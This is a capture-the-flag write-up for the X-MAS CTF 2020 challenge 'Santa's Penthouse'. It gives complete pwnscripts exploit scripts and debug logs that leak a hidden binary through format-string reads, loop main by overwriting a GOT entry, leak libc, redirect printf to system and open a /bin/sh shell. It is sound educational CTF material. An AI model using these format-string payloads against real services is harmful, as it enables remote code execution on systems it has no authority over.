Tags: fmtstr pwnscripts waiting_for_sixteen_hours 

Rating:

# Santa's Penthouse (Work in Progress) [484]
SOLVED (**Osmium Award**!)

Bringing happiness and joy is a profitable business. So lucrative that Santa has amassed enough wealth to start bulding a brand new penthouse. Let's hope he finishes it before New Year's.

**Target**: nc challs.xmas.htsp.ro 2006

**Author**: PinkiePie1189

**Files**: chall

#### [`pwnscripts`](https://github.com/152334H/pwnscripts) assisted greatly in handling the format string exploits here. Try it!

## Menu
The binary has 3 options, each of which can only be used once.
1. Leave a message (`leave_message()`). This message is piped to `printf()` in a _limited_ format string bug, where `%n` **writes are banned**.
2. Steal a gift (`take_gift()`). This takes the contents of the remote file `secret` and dumps it into heap memory, with its location provided to the user as a `%p` pointer.
3. Exit. This calls `exit(0)`.

As far as I'm aware, `leave_message()` is impossible to exploit. As a result, I choose to leak out the contents of `secret` with a `%s` `printf()` call.
```python
from pwnscripts import *
context.binary = 'santa_penthouse'
def printf(s:bytes):
r = remote('challs.xmas.htsp.ro', 2006)
r.sendlineafter('Exit.\n', '1')
r.sendafter('Santa?\n', s)
r.recvuntil('message: ')
return r.recvline()
offset = fsb.find_offset.buffer(printf, 200)

def leakfrom(dist:int):
r = remote('challs.xmas.htsp.ro', 2006)
r.sendlineafter('Exit.\n', '2')
secret = unpack_hex(r.recvline())
r.sendlineafter('Exit.\n', '1')
log.info(repr(b'leaking ' + hex(secret+dist).encode() + b' i.e. ' + pack(secret+dist)))
r.sendlineafter('Santa?\n', fsb.leak.deref_payload(offset, [secret+dist]))
r.recvuntil('message: ')
secret_data, = fsb.leak.deref_extractor(r.recvline())
r.close()
return secret_data+b'\0'
print(leakfrom(0))
```
This leads to the disturbing discovery that `secret` is an entire ELF:
```python
[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] pwnscripts.fsb.find_offset for buffer: 8
[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] b'leaking 0x5609f89464c0 i.e. \xc0d\x94\xf8\tV\x00\x00'
[*] Closed connection to challs.xmas.htsp.ro port 2006
b'\x7fELF\x02\x01\x01\x00'
```
Leaking the entire thing requires a shit ton of time if we're going to do it with `printf()` alone.
```python
with open('secret', 'r+b') as f:
written = 0 # replace this if the script terminates halfway for whatever reason
f.seek(written)
while 1:
log.info('leaking from %d' % written)
try: data = leakfrom(written)
except EOFError: continue
written += len(data)
f.write(data)
f.flush()
```
Leaving this program running, I left to do some [other challenges](if_you_see_this_url___i_forgot_to_change_this_link). Once the downloaded data matched (around) the size of `./chall`, the file was essentially valid for analysis:
```sh
$ file secret
secret: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
```
## `secret`
```
$ checksec secret
[*] '/secret'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
Unlike the previous binary, stack canaries and PIE are disabled.
```
In the secret binary, I spy these `strings`:
$ strings secret
...
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
...
```
It looks like `GumaTurbo123!` is a password for the service at 14712 (I tried putting it as a password for the original service at port 2006 too — no dice). Let's try that.
```sh
$ nc challs.xmas.htsp.ro 14712
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
%p
0x7ffe39c01c60
```
Although I've not proven anything yet, this service _probably_ provides an unrestricted `printf()` call.

The code within `secret` `main()` was a little bit broken in transmission, but after patching a few bytes, I'm able to verify that claim:
```c
void main() {
char s[264]; // [rsp+0h] [rbp-110h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
fgets(s, 255, stdin);
if ( memcmp(s, "GumaTurbo123!", 0xFuLL) )
exit(0);
puts("Access granted! Filters disabled!");
puts("Check out port 14712");
fflush(stdout);
fgets(s, 255, stdin);
printf(s);
exit(0);
}
```
Since the GOT table is still writable, I made a basic payload to overwrite `exit()` with `main()`, forming a loop:
```python
from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176
context.log_level = 'debug'

def printf(s):
r = remote('challs.xmas.htsp.ro', 14712)
r.sendline('GumaTurbo123!')
r.sendafter('14712\n', s)
return r.recvall()
offset = fsb.find_offset.buffer(printf,50)

r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
r.sendline('GumaTurbo123!')
r.sendlineafter('14712\n', s)
if until is None: return None
return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
r.interactive()
```
This clearly works on testing:
```python
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x41 bytes:
00000000 25 31 31 38 63 25 31 31 24 6c 6c 6e 25 31 35 35 │%118│c%11│$lln│%155│
00000010 63 25 31 32 24 68 68 6e 25 34 37 63 25 31 33 24 │c%12│$hhn│%47c│%13$│
00000020 68 68 6e 61 61 61 61 62 40 40 40 00 00 00 00 00 │hhna│aaab│@@@·│····│
00000030 41 40 40 00 00 00 00 00 42 40 40 00 00 00 00 00 │A@@·│····│B@@·│····│
00000040 0a │·│
00000041
[DEBUG] Received 0x148 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000070 20 20 20 20 20 10 20 20 20 20 20 20 20 20 20 20 │ │ · │ │ │
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000110 d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │
00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 │ │ │ │ Q│
00000140 61 61 61 61 62 40 40 40 │aaaa│b@@@│
00000148
[*] Switching to interactive mode
aaab@@@$ GumaTurbo123!
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
```
With infinite `printf()` abuse available, all we really need to do is to return to libc's `system()` for the flag.

I started by determining the libc version with the [dev branch of pwnscripts](https://github.com/152334H/pwnscripts/tree/dev) + [libc-database](https://github.com/niklasb/libc-database):
```python
context.libc_database = 'libc-database'
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)
```
This part of the code runs on a second remote connection, and doesn't affect the previous connected `remote()`.
```python
[+] Opening connection to challs.xmas.htsp.ro on port 14712: Done
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x29 bytes:
00000000 5e 5e 25 39 24 73 7c 7c 25 31 30 24 73 24 24 00 │^^%9│$s||│%10$│s$$·│
00000010 19 19 19 19 19 19 19 19 18 40 40 00 00 00 00 00 │····│····│·@@·│····│
00000020 38 40 40 00 00 00 00 00 0a │8@@·│····│·│
00000029
[+] Receiving all data: Done (18B)
[DEBUG] Received 0x12 bytes:
00000000 5e 5e a0 1a 2c be 2c 7f 7c 7c d0 23 2c be 2c 7f │^^··│,·,·│||·#│,·,·│
00000010 24 24 │$$│
00000012
[*] Closed connection to challs.xmas.htsp.ro port 14712
[*] found libc! id: libc6_2.27-3ubuntu1.3_amd64
```
I could've probably guessed that libc id from other challenges, but whatever, I have it now.

On the actual original `remote()`, one `cycle()` is used to leak libc from the GOT, and another is used to overwrite `printf()` with libc `system()` at the GOT. Once that's done, the next cycle will run `system()` on whatever the input format string is, which I'll set to be `"/bin/sh"`.
```python
puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')

r.interactive()
```
```python
[DEBUG] Sent 0x1a bytes:
00000000 5e 5e 25 38 24 73 24 24 00 19 19 19 19 19 19 19 │^^%8│$s$$│····│····│
00000010 18 40 40 00 00 00 00 00 0a 0a │·@@·│····│··│
0000001a
[DEBUG] Received 0xa bytes:
00000000 5e 5e a0 6a 2a 40 a1 7f 24 24 │^^·j│*@··│$$│
0000000a
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x79 bytes:
00000000 25 38 30 63 25 31 35 24 6c 6c 6e 25 35 63 25 31 │%80c│%15$│lln%│5c%1│
00000010 36 24 68 68 6e 25 34 32 63 25 31 37 24 68 68 6e │6$hh│n%42│c%17│$hhn│
00000020 25 33 34 63 25 31 38 24 68 68 6e 25 31 33 34 63 │%34c│%18$│hhn%│134c│
00000030 25 31 39 24 68 68 6e 25 32 35 63 25 32 30 24 68 │%19$│hhn%│25c%│20$h│
00000040 68 6e 61 61 61 61 62 61 20 40 40 00 00 00 00 00 │hnaa│aaba│ @@·│····│
00000050 21 40 40 00 00 00 00 00 25 40 40 00 00 00 00 00 │!@@·│····│%@@·│····│
00000060 24 40 40 00 00 00 00 00 22 40 40 00 00 00 00 00 │$@@·│····│"@@·│····│
00000070 23 40 40 00 00 00 00 00 0a │#@@·│····│·│
00000079
[DEBUG] Received 0x149 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 │ │ │ │ p│
00000050 20 20 20 20 d0 20 20 20 20 20 20 20 20 20 20 20 │ │· │ │ │
00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 20 │ │ │ │ Q │
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000000a0 c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │
000000b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000120 20 20 20 20 20 20 c0 20 20 20 20 20 20 20 20 20 │ │ · │ │ │
00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 25 │ │ │ │ %│
00000140 61 61 61 61 62 61 20 40 40 │aaaa│ba @│@│
00000149
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x9 bytes:
00000000 2f 62 69 6e 2f 73 68 00 0a │/bin│/sh·│·│
00000009
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2d bytes:
b'bin\n'
b'dev\n'
b'flag.txt\n'
b'fmt_string\n'
b'lib\n'
b'lib64\n'
b'secret\n'
bin
dev
flag.txt
fmt_string
lib
lib64
secret
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
```
That wraps things up.
## Flag
`X-MAS{1_4m_n07_sl4ck1ng_0ff_1_4m_jus7_w41t1ng_f0r_th3_b1n4ry_t0_b3_l34k3d}`

## final script if something is broken above idk
```python
from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176 # extremely unfortunate hardcoded value
context.libc_database = 'libc-database'
# pre-remote probing
def printf(s):
r = remote('challs.xmas.htsp.ro', 14712)
r.sendline('GumaTurbo123!')
r.sendafter('14712\n', s)
return r.recvall()
offset = fsb.find_offset.buffer(printf,50)
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)
# loop over main()
r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
r.sendline('GumaTurbo123!')
r.sendlineafter('14712\n', s)
if until is None: return None
return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
# return to libc
puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')
r.interactive()
```

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/X-MASCTF2020/Binary%20Exploitation/santa).